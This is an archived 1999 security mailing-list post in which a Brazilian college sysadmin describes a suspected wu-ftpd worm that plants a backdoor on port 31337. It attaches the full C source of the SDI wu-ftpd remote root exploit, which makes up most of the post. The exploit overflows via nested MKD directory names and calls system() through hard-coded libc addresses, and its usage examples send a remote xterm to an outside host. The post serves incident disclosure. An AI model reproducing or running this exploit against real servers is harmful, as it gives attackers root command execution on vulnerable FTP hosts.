Possible WU-ftpd Worm ?

From: Stu Alchor (stuat_private)
Date: Tue Apr 13 1999 - 22:19:17 PDT

  • Next message: gandalfat_private: "Re: ARP problem in Windows9X/NT"

    I'm a system administrator of a educational domain which deals with
    information and technology. During the last 2 weeks, a our network have
    been acting very weird, with a lot of traffic in one of our main machines.
    
    By joining our computer response team, we've soon identified a intruder
    activity, who was running scripts and exploiting another hosts around.
    
    But what took my attention is that he had a script called ftp-w0rm.tgz
    which was able to look for ftpd bug around the world, exploit it and
    reproduce the script like the worm. We found out that once the worm gets
    in a new host, it will install a backdoor (bindcode) in the port 31337
    and starts the new scan. By taking a look at the time stamp, the intruder
    is running this toy since march.
    
    As I've run the old ftp exploit I found in the bugtraq and they didn't
    work so I thought we were not vulnerable. I will attach the core of the
    ftp worm (SDI-wu.c), the exploit for the vulnerability, which, btw, worked
    in my host.
    
    I will not include the source for the worm. Our computer response team have
    been contacted to verify the code.
    
    
    -- Begin of file --
    /*
     * SDI wu-ftpd exploit for Linux (Feb 20, 1999)
     *
     * http://www.sekure.org - Brazilian Information Security Team.
     *
     * Source by jamez  (jamezat_private)
     *           c0nd0r (condorat_private)
     *
     * This source will let you execute remote commands as root if you have
     * write access on the ftp server.
     *
     * Usage:
     *
     *    gcc SDI-wu.c -o SDI-wu
     *
     *    ./SDI-wu host user password dir command type [port] [align]
     *
     *    host:     the victim (ftp.microsoft.com)
     *    user:     ftp user with write access (anonymous)
     *    password: the password for the user (fooat_private)
     *    dir:      the directory you have access (/incoming)
     *    command:  the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
     *    type:     system type (see below)
     *    port:     ftp port (21 default)
     *    align:    the alignment (default 3)
     *
     *
     * Limitations:
     *
     *    because I've used hard coded address's for system and the command,
     *    the  values  wont  be  the same in others compilations of wu-ftpd.
     *    so,  you will  need to  find   the  address   for   the   version
     *    you want to exploit.
     *
     *    because we are not using the stack to  put our code, the  exploit
     *    will work  as well against a non-executable stack patch.
     *
     *
     * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
     * find out your "system address" (ie: print system) and  write it   down
     * so you can have more address to try - just overwrite the default addr
     * and choose type (3).
     *
     *
     * Thanks for the sekure SDI:
     * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
     *
     * Also thanks for #uground (irc.brasnet.org) and
     * chaosmaker, c_orb(efnet)
     *
     */
    
    
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <arpa/inet.h>
    
    #define MAXLEN 255
    #define BSIZE 1024
    
    
    
    struct sockaddr_in sa;
    struct hostent *he;
    
    
    char c = 'A';
    
    char host[255],
      user[255],
      pass[255],
      command[1024],
      buff[2040],
      tmp[3060],
      netbuf[2040],
      dir[255];
    
    int sd,
      i,
      offset = 0,
      dirsize = 0,
      port=21,
      doit = 0,
      done = 0,
      todo = 0,
      align = 3,
      tipo = 0;
    
    /* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
    #define SYSADDR 0x40043194;
    #define EGGADDR 0x805f1dc;
    
    long systemaddr;
    long shelladdr;
    
    
    void usage(char * s) {
      printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
      printf(" %s host user password dir command [port] [align]\n\n", s);
      printf(" host:         the victim (ftp.microsoft.com)\n");
      printf(" user:         ftp user with write access (anonymous)\n");
      printf(" password:     the password for the user (fooat_private)\n");
      printf(" dir:          the directory you have permission to write (/incoming)\n");
      printf(" command:      the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
      printf(" type:         see below\n");
      printf(" port:         ftp port (21 default)\n");
      printf(" align:        the alignment (3 default)\n");
      printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
      printf("\n 2 - slak3.3 ver 2.4(2)");
      printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
      printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
    }
    
    
    
    
    void get_dirsize() {
      strcpy ( tmp, "PWD"); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));
      read ( sd, netbuf, sizeof(netbuf));
    
      for(i = 0; i < strlen(netbuf); i++)
        if(netbuf[i] == '\"') break;
    
      dirsize = 0;
    
      for(i++; i < strlen(netbuf); i++)
        if(netbuf[i] == '\"')
          break;
        else
          dirsize++;
    
      bzero ( &netbuf, sizeof(netbuf));
    
    
    }
    
    int main (int argc, char *argv[]) {
    
    
      if (argc < 7)  {
        usage(argv[0]);
        exit(0);
      }
    
      sprintf(host, "%s", argv[1]);
      sprintf(user, "%s", argv[2]);
      sprintf(pass, "%s", argv[3]);
      sprintf(dir, "%s", argv[4]);
      sprintf(command, "%s", argv[5]);
    
      tipo = atoi (argv[6]);
      printf ( "%d\n\n", tipo);
    
      if ( argc > 7) port = atoi(argv[7]);
      if ( argc > 8) align = atoi(argv[8]);
    
    
      if (tipo <= 0) {
      /* 2.4(4) libc5 slack 3.4 */
       systemaddr = 0x400441f0;
       shelladdr = 0x80604a0;
      } else if (tipo == 1) {
      /* beta 15 libc5 slack 3.4 */
       systemaddr = 0x400441f0;
       shelladdr = 0x8062510;
      } else if (tipo == 2) {
    /* 2.4(4) libc5 slack 3.3 */
       systemaddr = 0x400441f0;
       shelladdr = 0x805f1e4;
      } else {
     /* CUSTOM ADDRESS */
       systemaddr = SYSADDR;
       shelladdr = EGGADDR;
      }
    
      sd = socket ( AF_INET, SOCK_STREAM, 0);
    
      sa.sin_family = AF_INET;
      sa.sin_port = htons(port);
    
      he = gethostbyname (host);
      if (!he) {
        if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
          printf ( "wrong ip address or unknown hostname\n"); exit(0);
        }
      }
      else {
        bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
      }
    
      if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
        printf ( "Cannot connect to remote host: Connection refused\n");
        exit(0);
      }
    
      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
      /* ok. we're connected. */
      strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
      /* ok. send the pass. */
      strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));  bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      if ( netbuf[0] == '5') {
        printf ("Login incorrect!\n"); exit(0); }
    
      printf ( "%s\n", netbuf);
    #ifdef DEBUG
      printf ( "Ok, we're on! Press any key to exploit it\n");
      gets(netbuf);
    #endif
      bzero ( &netbuf, sizeof(netbuf));
    
     /* ok. let's get to the vulnerable dir */
      strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
    
    
      get_dirsize(); /* gets home dir size */
    
    
      todo = BSIZE - dirsize - 60 - 4;
    
    
      /* ok, we're on. let's get things working here! */
      while(done < todo) {
    
        if((todo - done) > 255)
          doit = 255;
        else
          doit = todo - done;
    
    
        for (i = 0; i < doit; i++)
          buff[i] = c;
        buff[doit] = '\0';
    
    
        strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
        write ( sd, tmp, strlen(tmp));
        read ( sd, netbuf, sizeof(netbuf));
        if ( netbuf[1] == '2') {
          printf ("error while creating the dir, let's try another name...\n\n");
          c++;
          continue;
        }
        else
          done += doit;
    
        bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
        strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
        write ( sd, tmp, strlen(tmp));
        read ( sd, netbuf, sizeof(netbuf));
        if ( netbuf[0] == '5') {
          printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
        }
        bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
      }
    
    
    
      /* prepare last one */
    
      memset(buff, 'X', MAXLEN);
    
      for(i = align; i < 100; i += 4) {
        buff[i  ] = systemaddr & 0x000000ff;
        buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
        buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
        buff[i+3] = (systemaddr & 0xff000000) >> 24;
      }
    
      buff[i++] = shelladdr & 0x000000ff;
      buff[i++] = (shelladdr & 0x0000ff00) >> 8;
      buff[i++] = (shelladdr & 0x00ff0000) >> 16;
      buff[i++] = (shelladdr & 0xff000000) >> 24;
    
      strcat(command, ";");
      memcpy(buff+140, command, strlen(command));
    
    
      buff[MAXLEN] = '\0';
    
      strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
      write ( sd, tmp, strlen(tmp));
      read ( sd, netbuf, sizeof(netbuf));
      bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
    
      /* ok. */
    
      printf ( "Exploiting %s\n", dir);
      printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
      printf("\nI guess you're a hax0r now :D.\n");
    
      close (sd);
    
    }
    -- End of File (SDI-wu.c) --
    
    
    ----------------------------------------------
    Stu A. - SysADM of Sao Paulo Technical College
    E-mail  stuat_private    Fone +5511-37601201
            stuat_private   Sao Paulo - Brazil
    ----------------------------------------------
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:42:25 PDT